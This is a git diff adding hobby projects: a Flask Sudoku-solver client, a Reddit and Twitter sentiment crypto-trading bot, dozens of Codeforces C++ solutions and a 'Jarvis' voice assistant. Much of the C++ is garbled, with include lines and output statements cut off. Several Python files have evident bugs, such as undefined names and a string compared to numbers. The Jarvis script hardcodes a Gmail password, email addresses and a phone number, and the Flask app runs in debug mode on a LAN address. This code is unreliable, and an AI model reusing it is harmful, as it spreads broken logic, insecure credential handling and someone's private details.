b/MachineLearning Projects/sudoku_solver/tempfile2.jpg differ diff --git a/MachineLearning Projects/sudoku_solver/templates/index.html b/MachineLearning Projects/sudoku_solver/templates/index.html new file mode 100644 index 00000000..8a812ec4 --- /dev/null +++ b/MachineLearning Projects/sudoku_solver/templates/index.html @@ -0,0 +1,20 @@ + + + + + + Sudoku Solver + + +

Sudoku Solver

+
+

To solve a sudoku select the image of the sudoku and upload it to the page then hit submit.

+

The solution will be returned as an image on the next page.

+
+
+ + +
+
+ + \ No newline at end of file diff --git a/MachineLearning Projects/sudoku_solver/templates/result.html b/MachineLearning Projects/sudoku_solver/templates/result.html new file mode 100644 index 00000000..94fbedb1 --- /dev/null +++ b/MachineLearning Projects/sudoku_solver/templates/result.html @@ -0,0 +1,19 @@ + + + + + + Solution + + +
+ Back to Main Page +
+
+

Solution

+
+
+ img +
+ + \ No newline at end of file diff --git a/MachineLearning Projects/sudoku_solver/test_full_stack.py b/MachineLearning Projects/sudoku_solver/test_full_stack.py new file mode 100644 index 00000000..a24ab068 --- /dev/null +++ b/MachineLearning Projects/sudoku_solver/test_full_stack.py @@ -0,0 +1,31 @@ +import socket + +result_file = "resultfile2_server.png" +input_file = "f1.jpg" + +def main(address:tuple[str,int]): + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.connect(address) + sock.settimeout(10) + with open(input_file, "rb") as f: + sock.send(f.read()) + res_buf = b'' + try: + while True: + try: + res = sock.recv(1) + res_buf += res + if 0 == len(res): + sock.close() + with open(result_file, "wb") as f: + f.write(res_buf) + break + except socket.timeout: + with open(result_file, "wb") as f: + f.write(res_buf) + break + finally: + sock.close() + +if "__main__" == __name__: + main(("localhost", 3535)) \ No newline at end of file diff --git a/MachineLearning Projects/sudoku_solver/verify_image.py b/MachineLearning Projects/sudoku_solver/verify_image.py new file mode 100644 index 00000000..1ad57615 --- /dev/null +++ b/MachineLearning Projects/sudoku_solver/verify_image.py @@ -0,0 +1,110 @@ +"""This code is to verify the image dataset and check that all the labels of the grid location are in the correct place. +""" + +import PIL.Image as Image +from matplotlib import pyplot as plt +import numpy as np +from image import SudokuDataset, get_dataset, tqdm, Model +import torch + +img_size = (300,300) + +def mark(positions, image, color_value): + print(positions) + print(image.shape) + x0,y0,x1,y1,x2,y2,x3,y3 = positions + image = image.transpose() + grad = (y1 - y0)/(x1 - x0) + if x1 > x0: + for i in range(x1 - x0): + image[x0 + i, int(y0 + i * grad)] = color_value + else: + for i in range(x0 - x1): + image[x0 - i, int(y0 - i * grad)] = color_value + + grad = (y2 - y1)/(x2 - x1) + if x2 > x1: + for i in range(x2 - x1): + image[x1 + i, int(y1 + i * grad)] = color_value + else: + for i in range(x1 - x2): + image[x1 - i, int(y1 - i * grad)] = color_value + + grad = (y3 - y2)/(x3 - x2) + if x3 > x2: + for i in range(x3 - x2): + image[x2 + i, int(y2 + i * grad)] = color_value + else: + for i in range(x2 - x3): + image[x2 - i, int(y2 - i * grad)] = color_value + + grad = (y0 - y3)/(x0 - x3) + if x0 > x3: + for i in range(x0 - x3): + image[x3 + i, int(y3 + i * grad)] = color_value + else: + for i in range(x3 - x0): + image[x3 - i, int(y3 - i * grad)] = color_value + return image.transpose() + +# dataset = SudokuDataset("./archive/outlines_sorted.csv", img_size) +# for item in dataset: +# try: +# image = item['image'] +# grid = item['grid'] +# x0,y0,x1,y1,x2,y2,x3,y3 = list(grid.numpy()) +# x0 = int(x0 * img_size[0]) +# x1 = int(x1 * img_size[0]) +# x2 = int(x2 * img_size[0]) +# x3 = int(x3 * img_size[0]) +# y0 = int(y0 * img_size[1]) +# y1 = int(y1 * img_size[1]) +# y2 = int(y2 * img_size[1]) +# y3 = int(y3 * img_size[1]) +# image = mark((x0,y0,x1,y1,x2,y2,x3,y3), image.numpy()[0], 0.7) +# plt.imshow(image) +# plt.colorbar() +# plt.show() +# except KeyboardInterrupt: +# break + +def test(config:dict, model_filename:str): + device = torch.device('cuda' if torch.cuda.is_available() else 'cpu') + model = torch.load(model_filename).to(device) + model.eval() + loss = torch.nn.MSELoss().to(device) + dataset = get_dataset(config['filename'], config['input_shape'], config['batch_size']) + batch_iterator = tqdm(dataset) + for batch in batch_iterator: + x = batch['image'].to(device) + y_true = batch['grid'].to(device) + # print(batch['grid']) + # return + y_pred = model(x) + error = loss(y_true, y_pred) + batch_iterator.set_postfix({"loss":f"Loss: {error.item():6.6f}"}) + x0,y0,x1,y1,x2,y2,x3,y3 = list(y_pred.detach().numpy()[1]) + print(x0,y0,x1,y1,x2,y2,x3,y3) + x0 = int(x0 * img_size[0]) + x1 = int(x1 * img_size[0]) + x2 = int(x2 * img_size[0]) + x3 = int(x3 * img_size[0]) + y0 = int(y0 * img_size[1]) + y1 = int(y1 * img_size[1]) + y2 = int(y2 * img_size[1]) + y3 = int(y3 * img_size[1]) + image = mark((x0,y0,x1,y1,x2,y2,x3,y3), x.detach().numpy()[0][0], 0.7) + plt.imshow(image) + plt.colorbar() + plt.show() + +config = { + "input_shape": (300,300), + "filename": "archive/outlines_sorted.csv", + "number_of_layers": 4, + "dims": 3, + "batch_size": 8, + "lr": 1e-5 +} +# model = train(50, config) +test(config, "model.pt") \ No newline at end of file diff --git a/MachineLearning Projects/sudoku_solver/web_interface.py b/MachineLearning Projects/sudoku_solver/web_interface.py new file mode 100644 index 00000000..6bc14604 --- /dev/null +++ b/MachineLearning Projects/sudoku_solver/web_interface.py @@ -0,0 +1,129 @@ +from flask import Flask, render_template, redirect, url_for, request, flash, session +from werkzeug.utils import secure_filename +import os +from random import choices, choice +from string import ascii_letters, digits +from time import sleep +from datetime import datetime +import socket + +app = Flask(__name__) + +app.config.from_pyfile("config.cfg") + +def manage_solution(input_file, result_file) -> int: + def send(input_file:str, sock:socket.socket) -> int: + try: + with open(input_file, "rb") as f: + sock.send(f.read()) + return 1 + except FileNotFoundError: + return -2 + except socket.error: + return -1 + + def connect() -> socket.socket: + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.connect((app.config['SOLVER_IP'], int(app.config['SOLVER_PORT']))) + sock.settimeout(10) + return sock + + def manage_full_send(input_file:str, sock:socket.socket): + tries = 0 + while tries < 5: + send_state = send(input_file, sock) + if send_state == 1: + break + elif send_state == -2: + return -2 + elif send_state == -1: + sock = connect() + tries += 1 + return send_state + + sock = connect() + send_state = manage_full_send(input_file, sock) + if send_state == -1: + return -1 + elif send_state == -2: + return -2 + res_buf = b'' + try: + while True: + try: + res = sock.recv(1) + res_buf += res + if 0 == len(res): + sock.close() + with open(result_file, "wb") as f: + f.write(res_buf) + break + except socket.timeout: + with open(result_file, "wb") as f: + f.write(res_buf) + break + finally: + sock.close() + return 0 + +@app.route('/', methods=['POST', 'GET']) +def index(): + if "POST" == request.method: + print(request) + if 'image' not in request.files: + flash('No file part.', "danger") + else: + file = request.files['image'] + if '' == file.filename: + flash("No file selected.", "danger") + else: + ext = "." + file.filename.split('.')[-1] + filename = datetime.now().strftime("%d%m%y%H%M%S") + "_" + "".join(i for i in choices(ascii_letters+digits, k=3)) + ext + filename = os.path.join(app.config['UPLOAD_FOLDER'], filename) + print(filename) + file.save(filename) + session['filename'] = filename + return redirect(url_for('result')) + else: + if session.get('solved'): + session.pop('solved') + if session.get('filename'): + try: + os.remove(session['filename']) + session.pop('filename') + except FileNotFoundError: + pass + return render_template('index.html', request=request) + +@app.route('/result', methods=['GET']) +def result(): + if not session.get('solved'): + filename = session.get('filename') + if not filename: + return redirect(url_for('/')) + solution = "" + result_file = ".".join(i for i in filename.split(".")[:-1]) + "_sol.png" + result_file = result_file.split("/")[-1] + full_result_file = "static/" + result_file + result_file = f"../static/{result_file}" + result = manage_solution(filename, full_result_file) + os.remove(session['filename']) + if result == 0: + session['filename'] = full_result_file + print("solved") + solution = result_file + session['solved'] = solution + else: + session.pop('filename') + flash(f"There was an issue, Error {result}", "danger") + redirect(url_for('/')) + else: + solution = session['solved'] + return render_template('result.html', img=solution) + +if "__main__" == __name__: + app.run( + host="192.168.1.88", + port=5000, + debug=True + ) \ No newline at end of file diff --git a/MachineLearning Projects/tracking live sentiment analysis to trade/Readme.md b/MachineLearning Projects/tracking live sentiment analysis to trade/Readme.md new file mode 100644 index 00000000..380867b3 --- /dev/null +++ b/MachineLearning Projects/tracking live sentiment analysis to trade/Readme.md @@ -0,0 +1,13 @@ +The given code is a Python script for a bot that streams live comments from Reddit and Twitter related to cryptocurrency and uses sentiment analysis and technical analysis to determine whether to buy or sell a cryptocurrency. + +It imports various Python modules, such as requests, os, json, config, preprocessor, langdetect, csv, praw, pprint, textblob, threading, binance.client, binance.enums, pandas, ta.momentum, ta.trend, urllib.request, and bs4. + +The script connects to the Reddit API and Binance API using credentials stored in another file named config.py. It also connects to the Twitter API using a bearer token, which is also stored in config.py. + +The script defines several variables, such as lst_reddit, lst_twitter, dogePrices, neededSentiments, TRADE_SYMBOL, UPPER_BAND, and LOWER_BAND, which are used to store data and configure the bot. + +The script defines several functions, such as Average, which computes the average of a given list, and Fearandgreed, which webscrapes the fear and greed index from CNN's website. + +The script defines two classes named Reddit and Twitter that extend the Thread class. These classes are used to connect to the Reddit and Twitter streams, respectively. The Reddit class processes comments from the "bitcoin" subreddit and computes the sentiment of each comment using the TextBlob library. It also retrieves the latest candles information of past 1 minute from Binance API and computes the RSI indicator to check the trend of the market. If the RSI reaches the threshold value like UPPERBAND=70 or LOWERBAND=30, and the sentiment is positive, it triggers a buy signal. If the RSI reaches the threshold value like UPPERBAND=70 or LOWERBAND=30, and the sentiment is negative, it triggers a sell signal. The Twitter class processes tweets containing certain keywords and stores them in a list named lst_twitter. However, this part of the code is currently commented out. + +Overall, this script is designed to monitor sentiment and market trends for cryptocurrencies and automate trading based on the results of sentiment and technical analysis. diff --git a/MachineLearning Projects/tracking live sentiment analysis to trade/latest_bot.py b/MachineLearning Projects/tracking live sentiment analysis to trade/latest_bot.py new file mode 100644 index 00000000..1be6b7a2 --- /dev/null +++ b/MachineLearning Projects/tracking live sentiment analysis to trade/latest_bot.py @@ -0,0 +1,254 @@ +import requests +import os +import json +import config +import preprocessor as p +from langdetect import detect +from csv import writer +import praw +import config, pprint +from textblob import TextBlob +import config +from threading import * +import praw +from binance.client import Client +from binance.enums import * +import pandas as pd +from ta.momentum import RSIIndicator +from ta.trend import SMAIndicator +from urllib.request import urlopen,Request +from bs4 import BeautifulSoup +import re + +# I have used another file called config.py to store the credentials + +#Connecting to reddit API (To get this credentials go to : https://www.reddit.com/prefs/apps login and create new app to get the credentials) + +reddit = praw.Reddit( + client_id=config.REDDIT_ID, + client_secret=config.REDDIT_SEC, + password=config.REDDIT_PASS, + user_agent="USERAGENT", + username=config.REDDIT_USER, +) +#Connecting to binance api +client = Client(config.BINANCE_kEY, config.BINANCE_SEC) + + +#Variables for Bot + +lst_reddit = [] +lst_twitter=[] +dogePrices=[] +neededSentiments = 300 +# in_position = False +TRADE_SYMBOL = 'BTCUSDT' +# TRADE_QUANTITY = 0.000010 +#TRADE_SYMBOL = 'DOGEUSDT' +# TRADE_QUANTITY = 40 +UPPER_BAND = 70 +LOWER_BAND = 30 + +#function to perform the average to a given list +def Average(lst): + if len(lst) == 0: + return len(lst) + else: + return sum(lst[-neededSentiments:]) / neededSentiments + + +#webscrapping the fear and greed form cnn +def Fearandgreed(): + cnn= "https://money.cnn.com/data/fear-and-greed/" + req= Request(url=cnn,headers={'user-agent' :' my-app/0.0.1'}) + response =urlopen(req) + feargreedindex={} + html= BeautifulSoup(response) + feargreedindex=html.find(id='needleChart') + + dataRows=feargreedindex.findAll('li') + indexstring = dataRows[0] + indexstring=re.findall(r'[0-9]+',str(indexstring)) + return indexstring[0] + +#Connect to Reddit Stream for comments +class Reddit(Thread): + def run(self): + # getting the live comments from bitcoin subreddit + for comment in reddit.subreddit("bitcoin").stream.comments(): + + #converting the live comments into the sentiment using the textblob, the values lie in the range of (-1= negative sentiment to 1=postive sentiment) + + redditComment = comment.body + blob = TextBlob(redditComment) + sent = blob.sentiment + # if the sentiment is neutral it isn't much useful + if sent.polarity != 0.0: + lst_reddit.append(sent.polarity) + avg = round(Average(lst_reddit), 2) + print(" ********** Total Sentiment is currently: "+str(round(Average(lst_reddit), 4)) + " and there are " + str(len(lst_reddit)) + " elements in reddit") + + #Getting the candles information of past 1 minutes from binance api + candles = client.get_historical_klines(TRADE_SYMBOL, Client.KLINE_INTERVAL_1MINUTE, "1 Minutes ago UTC") + + if len(dogePrices) == 0: + dogePrices.append(float(candles[-1][1])) + elif dogePrices[-1] != float(candles[-1][1]): + dogePrices.append(float(candles[-1][1])) + print(dogePrices) + + print(" ********** Length of Prices list is: " + str(len(dogePrices))) + + # is indicator is used to measure the trend of the market if the rsi reaches the threshold value like UPPERBAND=70 or LOWERBAND=30. + rsi = RSIIndicator(pd.Series(dogePrices)) + df = rsi.rsi() + + + if (df.iloc[-1] < LOWER_BAND and round(Average(lst)) > 0.2 and len(lst) > 15): + # if in_position: + # print("***** BUY ***** but we own!") + # else: + # print("***** BUY *****") + + print("time to buy coin") + elif (df.iloc[-1] > UPPER_BAND and Average(lst) < -0.2 and len(lst) > 15): + # if in_position: + # print("we have to sell") + # else: + # print("***** SELL ***** but we dont own!") + print("time to sell it") + +bearer_token = config.BEARER_TOKEN + +#Connect to Twitter Stream for comments and open the twitter developera account to get credentials i.e bearer_token + +# we only make changes to the set rules and get rules method +class Twitter(Thread): + def run(self): + + def bearer_oauth(r): + """ + Method required by bearer token authentication. + """ + + r.headers["Authorization"] = f"Bearer {bearer_token}" + r.headers["User-Agent"] = "v2FilteredStreamPython" + return r + + + def get_rules(): + response = requests.get( + "https://api.twitter.com/2/tweets/search/stream/rules", auth=bearer_oauth + ) + if response.status_code != 200: + raise Exception( + "Cannot get rules (HTTP {}): {}".format(response.status_code, response.text) + ) + print(json.dumps(response.json())) + return response.json() + + + def delete_all_rules(rules): + if rules is None or "data" not in rules: + return None + + ids = list(map(lambda rule: rule["id"], rules["data"])) + payload = {"delete": {"ids": ids}} + response = requests.post( + "https://api.twitter.com/2/tweets/search/stream/rules", + auth=bearer_oauth, + json=payload + ) + if response.status_code != 200: + raise Exception( + "Cannot delete rules (HTTP {}): {}".format( + response.status_code, response.text + ) + ) + print(json.dumps(response.json())) + + # in the set rules i am setting the bitcoin as a particular hastag from which the tweets are streamed + def set_rules(delete): + # You can adjust the rules if needed + sample_rules = [ + {"value": "bitcoin", "tag": "bitcoin"}, + # {"value": "cat has:images -grumpy", "tag": "cat pictures"}, + ] + payload = {"add": sample_rules} + response = requests.post( + "https://api.twitter.com/2/tweets/search/stream/rules", + auth=bearer_oauth, + json=payload, + ) + if response.status_code != 201: + raise Exception( + "Cannot add rules (HTTP {}): {}".format(response.status_code, response.text) + ) + print(json.dumps(response.json())) + + + def get_stream(set): + response = requests.get( + "https://api.twitter.com/2/tweets/search/stream", auth=bearer_oauth, stream=True, + ) + print(response.status_code) + if response.status_code != 200: + raise Exception( + "Cannot get stream (HTTP {}): {}".format( + response.status_code, response.text + ) + ) + # here the twitter api default code ends from here we need to make the changes and build the logic + for response_line in response.iter_lines(): + if response_line: + json_response = json.loads(response_line) + tweet = json_response['data']['text'] + tweet = p.clean(tweet) + tweet = tweet.replace(':','') + blob = TextBlob(tweet) + sent = blob.sentiment + + if sent.polarity != 0.0: + lst_twitter.append(sent.polarity) + avg = round(Average(lst_twitter), 2) + print(" ********** Total Sentiment is currently: "+str(round(Average(lst_twitter), 4)) + " and there are " + str(len(lst_twitter)) + " elements in twitter") + + if (round(Average(lst_twitter)) > 0.2 and len(lst_twitter) > neededSentiments and Fearandgreed()<40): + # if in_position: + # print("***** BUY ***** but we own!") + # else: + # print("***** BUY *****") + print("time to buy coin") + elif (round(Average(lst_twitter)) < -0.2 and len(lst_twitter) > neededSentiments and Fearandgreed()>60): + # if in_position: + # print("we have to sell") + # else: + # print("***** SELL ***** but we dont own!") + print("time to sell it") + + + def main(): + + rules = get_rules() + delete = delete_all_rules(rules) + set = set_rules(delete) + get_stream(set) + bearer_token = config.BEARER_TOKEN + # headers = create_headers(bearer_token) + # rules = get_rules(headers, bearer_token) + # delete = delete_all_rules(headers, bearer_token, rules) + # set = set_rules(headers, delete, bearer_token) + # get_stream(headers, set, bearer_token) + + main() + + + +if __name__ == "__main__": + red=Reddit() + # twi=Twitter() + + red.start() + # twi.start() + + \ No newline at end of file diff --git a/OTHERS/800 Codeforces Solutions/110A_Nearly_Lucky_Number.cpp b/OTHERS/800 Codeforces Solutions/110A_Nearly_Lucky_Number.cpp new file mode 100644 index 00000000..4340e87d --- /dev/null +++ b/OTHERS/800 Codeforces Solutions/110A_Nearly_Lucky_Number.cpp @@ -0,0 +1,33 @@ +//code by Nikhil Nagrale +//nikhilnagrale2 on EveryPlatform else nknagrale +#include +using namespace std; + +int main(){ + long long n; + cin>>n; + long long count=0; + while(n!=0){ + int x=n%10; + n/=10; + if(x==4 || x==7){ + count++; + } + } + if(count==0) { + cout<<"NO"< +using namespace std; + +int main(){ + string a,b; + cin>>a>>b; + for(auto &c: a) c=tolower(c); + transform(b.begin(),b.end(),b.begin(),::tolower); + cout< +using namespace std; + +int main(){ + int n; + cin>>n; + int total=0; + int min=0; + while(n--){ + int x; + cin>>x; + total-=x; + cin>>x; + total+=x; + if(total>min) + min=total; + } + cout< +using namespace std; + +int main(){ + int n; + cin>>n; + vector v; + for(int i=0;i>temp; + v.push_back(temp); + } + int a[n]; + int num=1; + for(int x:v){ + a[x-1]=num; + num++; + } + for(int x:a) + cout< +using namespace std; + +int main() +{ + int n; + cin >> n; + int maxindex=0; + int minindex=0; + int maxvalue=INT_MIN; + int minvalue=INT_MAX; + for (int i = 0; i < n; i++) + { + int temp; + cin >> temp; + if(temp>maxvalue){ + maxindex=i; + maxvalue=temp; + } + if(temp<=minvalue){ + minindex=i; + minvalue=temp; + } + } + + int ans=(maxindex)+(n-minindex-1); + if(minindex +using namespace std; + +int main(){ + int a[4],d; + cin>>a[0]>>a[1]>>a[2]>>a[3]>>d; + int j; + set s; + for(int i=0;i<4;i++){ + j=1; + while(a[i]*j<=d){ + if(a[i]*j<=d) s.insert(a[i]*j); + j++; + } + } + cout< +using namespace std; + +int main(){ + int n,k; + cin>>n>>k; + vector a; + for(int i=0;i>temp; + a.push_back(temp); + } + int c=a[k-1]; + int count=0; + for(int x:a){ + if(x>=c && x>0) count++; + } + cout< +#define ll long long int +#define pb push_back +#define mp make_pair +using namespace std; +int main(){ +ll t; +cin>>t; +while(t--){ + ll n; + cin>>n; + ll a[n],i,j; + ll sus=0; + for(i=0;i>a[i]; + } + for(i=0;in){ + a[i]/=2; + } + } + sort(a,a+n); + mapm; + for(i=0;i0){ + if(m[a[i]]==0){ + m[a[i]]++; + break;} + else{ + a[i]/=2; + } + + } + if(a[i]==0){ + sus=1; + break; + } + } + } + for(auto it=m.begin();it!=m.end();it++){ + if(it->second==0){ + sus=1; + break; + } + } + if(sus==0){ + cout<<"YES"< +using namespace std; + +int main(){ + int n; + cin>>n; + double a[n]; + double ans=0; + for(int i=0;i>a[i]; + ans+=a[i]; + } + cout< +using namespace std; + +int main() +{ + set s; + int temp; + int t = 4; + while (t--) + { + cin >> temp; + s.insert(temp); + } + cout<<4-s.size()< +using namespace std; + +int main(){ + int n; + cin>>n; + int count=0; + while(n--){ + int x,y,z; + cin>>x>>y>>z; + if((x+y+z)>=2) count++; + } + cout< +using namespace std; + +int main(){ + string s; + cin>>s; + set a; + for(char x:s) a.insert(x); + if(a.size()%2==0) cout<<"CHAT WITH HER!"< +using namespace std; +#define ll long long +#define FAST1 ios_base::sync_with_stdio(false); +#define FAST2 cin.tie(NULL); +int n, k, ans, num; + string s; +int main(){ + FAST1; + FAST2; + + cin >> n >> k; + for (int i = 0; i < n; i++){ + cin >> s; + for (int j = 0; j < s.size(); j++){ + if (s[j] == '7' || s[j] == '4'){ + num ++; + } + } + if (num <= k){ + ans++; + } + num = 0; + } + cout << ans << endl; + return 0; + +} diff --git a/OTHERS/800 Codeforces Solutions/262B_Roma_and_Changing_Signs.cpp b/OTHERS/800 Codeforces Solutions/262B_Roma_and_Changing_Signs.cpp new file mode 100644 index 00000000..f51585ae --- /dev/null +++ b/OTHERS/800 Codeforces Solutions/262B_Roma_and_Changing_Signs.cpp @@ -0,0 +1,39 @@ +// Problem: B. Roma and Changing Signs +// Contest: Codeforces - Codeforces Round #160 (Div. 2) +// URL: https://codeforces.com/contest/262/problem/B +// Memory Limit: 256 MB +// Time Limit: 2000 ms +// +// Powered by CP Editor (https://cpeditor.org) + +#include +using namespace std; +#define ll long long +#define FAST1 ios_base::sync_with_stdio(false); +#define FAST2 cin.tie(NULL); + + +int main(){ + FAST1; + FAST2; + int n;int k; + cin>>n>>k; + int arr[n]; + for(int i=0;i>arr[i]; + + int mn =INT_MAX; + int sm=0; + for(int i=0;i0) + arr[i] *= -1,k--; + sm+=arr[i]; + } + if(k>0 && k%2==1) + sm -= 2 * mn; + + cout< +using namespace std; + +int main(){ + int a[6][6]; + int n,x,y; + for(int i=1;i<=5;i++){ + for(int j=1;j<=5;j++){ + cin>>n; + if(n){ + x=i; + y=j; + } + } + } + cout<<(abs(3-x)+abs(3-y))< +using namespace std; + +int main(){ + int n; + cin>>n; + string s; + cin>>s; + if(!n){ cout<<0< +using namespace std; + +int main() { + int n,t; + cin>>n>>t; + string a; + cin>>a; + while(t--){ + for(int i=0;i +using namespace std; + +int main() +{ + int n; + cin >> n; + vector> v; + for (int i = 0; i < n; i++) + { + int a, b; + cin >> a >> b; + v.push_back({a, b}); + } + int ans = 0; + for (int i = 0; i < n; i++) + { + for (int j = 0; j < n; j++) + { + if (i != j && v[i].first == v[j].second) + ans++; + } + } + cout << ans << endl; + return 0; +} + +//O(n+m) solution is also possible \ No newline at end of file diff --git a/OTHERS/800 Codeforces Solutions/271A_Beautiful_Year.cpp b/OTHERS/800 Codeforces Solutions/271A_Beautiful_Year.cpp new file mode 100644 index 00000000..f8ea8ba7 --- /dev/null +++ b/OTHERS/800 Codeforces Solutions/271A_Beautiful_Year.cpp @@ -0,0 +1,35 @@ +//code by Nikhil Nagrale +//nikhilnagrale2 on EveryPlatform else nknagrale +#include +using namespace std; + +bool areDistinct(int n) +{ + map dis; + int digit; + while (n) + { + digit = n % 10; + if (dis[digit]) + { + return false; + } + dis[digit] = 1; + n /= 10; + } + return true; +} +int main() +{ + int n; + cin >> n; + while (++n) + { + if (areDistinct(n)) + { + cout << n << endl; + break; + } + } + return 0; +} \ No newline at end of file diff --git a/OTHERS/800 Codeforces Solutions/281A_Word_Capitalization.cpp b/OTHERS/800 Codeforces Solutions/281A_Word_Capitalization.cpp new file mode 100644 index 00000000..bb5d0e6d --- /dev/null +++ b/OTHERS/800 Codeforces Solutions/281A_Word_Capitalization.cpp @@ -0,0 +1,12 @@ +//code by Nikhil Nagrale +//nikhilnagrale2 on EveryPlatform else nknagrale +#include +using namespace std; + +int main(){ + string s; + cin>>s; + s[0]=toupper(s[0]); + cout< +using namespace std; + +int main(){ + string a,b; + cin>>a>>b; + for(int i=0;i +using namespace std; + +int main(){ + int w; + cin>>w; + if(w%2==0 && w>2) cout<<"YES"< +using namespace std; + +int main(){ + int m,n; + cin>>m>>n; + cout<<(n*m)/2< +using namespace std; + +int main(){ + string s; + cin>>s; + int u=0,l=0; + for(auto x:s){ + if(isupper(x)) u++; + else l++; + } + if(u>l){ + transform(s.begin(),s.end(),s.begin(),::toupper); + }else transform(s.begin(),s.end(),s.begin(),::tolower); + cout< +using namespace std; + +int main() +{ + string a, b; + cin >> a >> b; + string v = ""; + for (int i = 0; i < a.length(); i++) + { + if (a[i] == b[i]) + v += "0"; + else + v += "1"; + } + cout << v << endl; + return 0; +} \ No newline at end of file diff --git a/OTHERS/800 Codeforces Solutions/71A_Way_Too_Long_Words.cpp b/OTHERS/800 Codeforces Solutions/71A_Way_Too_Long_Words.cpp new file mode 100644 index 00000000..176cf90d --- /dev/null +++ b/OTHERS/800 Codeforces Solutions/71A_Way_Too_Long_Words.cpp @@ -0,0 +1,21 @@ +//code by Nikhil Nagrale +//nikhilnagrale2 on EveryPlatform else nknagrale +#include +using namespace std; + +int main(){ + int n; + cin>>n; + while(n--){ + string s; + cin>>s; + if(s.length()>10){ + string ans; + ans.push_back(s.front()); + ans+=to_string(s.length()-2); + ans+=s.back(); + cout< +using namespace std; + +int main(){ + int n; + cin>>n; + cout<3){ + cout<<2<<" "; + n-=2; + } + cout<= 0 and hour <= 12: + speak("Good morning,sir") + elif hour > 12 and hour < 18: + speak("Good afternoon,sir") + else: + speak("Good Evening,sir") + speak("I am Jarvis sir,How can I help you?") + + +# to define send email +def sendEmail(to, content): + server = smtplib.SMTP('smtp.gmail.com', 587) + server.ehlo() + server.starttls() + server.login('vedantgaikwad@gmail.com', 'Tata@1234') + server.sendmail('vedantgaikwad@gmail.com', to, content) + server.close() + +# to convert voice into text +class Mainthread(QThread): + def __init__(self): + super(Mainthread,self).__init__() + + def run(self): + self.TaskExecution() + + def takecommand(self): + + r = sr.Recognizer() + with sr.Microphone() as source: + print("Listening...") + r.pause_threshold = 1 + r.adjust_for_ambient_noise(source) + audio = r.listen(source, timeout=2, phrase_time_limit=5) + + try: + print("Recognizng..") + query = r.recognize_google(audio, language='en-in') + print(f"user said: {query}") + + except exception as e: + speak("could you please repeat...") + return "none" + query = query.lower() + return query + + #if __name__ == "__main__": + def TaskExecution(self): + #def start(): + wish() + + while True: + + self.query = self.takecommand() + + # logic building for tasks + + if "open notepad" in self.query: + npath = "C:\\Windows\\System32\\notepad.exe" + os.startfile(npath) + + elif "open adobe reader" in self.query: + apath = "C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AcroRd32.exe" + os.startfile(apath) + + elif "open command prompt" in self.query: + os.system("start cmd") + + elif "open camera" in self.query: + cap = cv2.VideoCapture(0) + while True: + ret, img = cap.read() + cv2.inshow('webcam', img) + k = cv2.waitKey(50) + if k == 27: + break + cap.release() + cv2.destroyAllWindows() + + elif "play music" in self.query: + music_dir = "C:\\Users\\vijay\\Music" + songs = os.listdir(music_dir) + rd = Random.choice(songs) + # for song in songs: + # if song.endswith('.mp3'): + os.startfile(os.path.join(music_dir, rd)) + # os.startfile(os.path.join(music_dir,song)) + + elif "ip address" in self.query: + ip = get('https://api.ipify.org').text + speak(f"your IP Address is {ip}") + + elif "wikipedia" in self.query: + speak("Searching wikipedia...") + query = query.replace("wikipedia", "") + result = wikipedia.summary(query, sentence=2) + speak("According to wikipedia") + speak(result) + # print(result) + + elif "open youtube" in self.query: + webbrowser.open("www.youtube.com") + + elif "open facebook" in self.query: + webbrowser.open("www.facebook.com") + + elif "open stack overflow" in self.query: + webbrowser.open("www.stackoverflow.com") + + elif "open google" in self.query: + # to search something specific on google + speak("Sir what should i search on google") + cm = self.takecommand() + webbrowser.open(f"{cm}") + + elif "send message" in self.query: + #speak("Sir,to whom should i send message") + #wmsg = takecommand().lower() + # 2.25 is time at which you send + kit.sendwhatmsg("+919920309439", "this is a testing message", 2.25) + + elif "play songs on youtube" in self.query: + speak("Sir what should i play on youtube") + play = self.takecommand() + kit.playonyt(f"{play}") + + elif "send email" in self.query: + try: + speak("what should i say?") + content = self.takecommand() + to = "sanjayg1973@gmail.com" + sendEmail(to, content) + speak("Email has been sent") + + except exception as e: + print(e) + speak("sorry sir, i am not able to send the email") + + # to close application + elif "close notepad" in self.query: + speak("okay sir,closing notepad") + os.system("taskkill /f/im notepad.exe") + + elif "set alarm" in self.query: + nn = int(datetime.datetime.now().hour) + if nn == 11: + music_dir = "Libraries\\Music" + songs = os.listdir(music_dir) + os.startfile(os.path.join(music_dir, songs[0])) + + elif "joke" in self.query: + joke = pyjokes.get_joke() + speak(joke) + + elif "shutdown the system" in self.query: + os.system("shutdown /s /t 5") + + elif "restart the system" in self.query: + os.system("shutdown /r /t 5") + + elif "sleep the system" in self.query: + os.system("rundll32.exe powrprof.dll,SetSuspendState 0,1,0") + + elif "thank you" in self.query: + speak("thankyou sir,have a good day") + sys.exit() + + speak("sir,do you have any other work") + + + +#if __name__ == "__main__" : +# TaskExecution() + +startExecution = Mainthread() + +class Main(QMainWindow): + def __init__(self): + super().__init__() + self.ui = Ui_jarvisUi() + self.ui.setupUi(self) + self.ui.pushButton.clicked.connect(self.startTask) + self.ui.pushButton_2.clicked.connect(self.close) + + def startTask(self): + #self.ui.movie = QtGui.QMovie("Black_Template.jpg") + #self.ui.label.setMovie(self.ui.movie) + #self.ui.movie.start() + self.ui.movie = QtGui.QMovie("Iron_Template_1.gif") + self.ui.label_2.setMovie(self.ui.movie) + self.ui.movie.start() + self.ui.movie = QtGui.QMovie("jarvis_jj.gif") + self.ui.label_3.setMovie(self.ui.movie) + self.ui.movie.start() + self.ui.movie = QtGui.QMovie("initial.gif") + self.ui.label_4.setMovie(self.ui.movie) + self.ui.movie.start() + self.ui.movie = QtGui.QMovie("Health_Template.gif") + self.ui.label_5.setMovie(self.ui.movie) + self.ui.movie.start() + self.ui.movie = QtGui.QMovie("B.G_Template_1.gif") + self.ui.label_6.setMovie(self.ui.movie) + self.ui.movie.start() + timer = QTimer(self) + timer.timeout.connect(self.showTime) + timer.start(1000) + startExecution.start() + + def showTime(self): + current_time = QTime.currentTime() + current_date = QDate.currentDate() + label_time = current_time.toString('hh:mm:ss') + label_date = current_date.toString(Qt.ISODate) + self.ui.textBrowser.setText(label_date) + self.ui.textBrowser_2.setText(label_time) + + + +app = QApplication(sys.argv) +jarvis = Main() +jarvis.show() +exit(app.exec_()) + + + + + diff --git a/OTHERS/Jarvis/jarvis.zip b/OTHERS/Jarvis/jarvis.zip new file mode 100644 index 00000000..cab33d93 Binary files /dev/null and 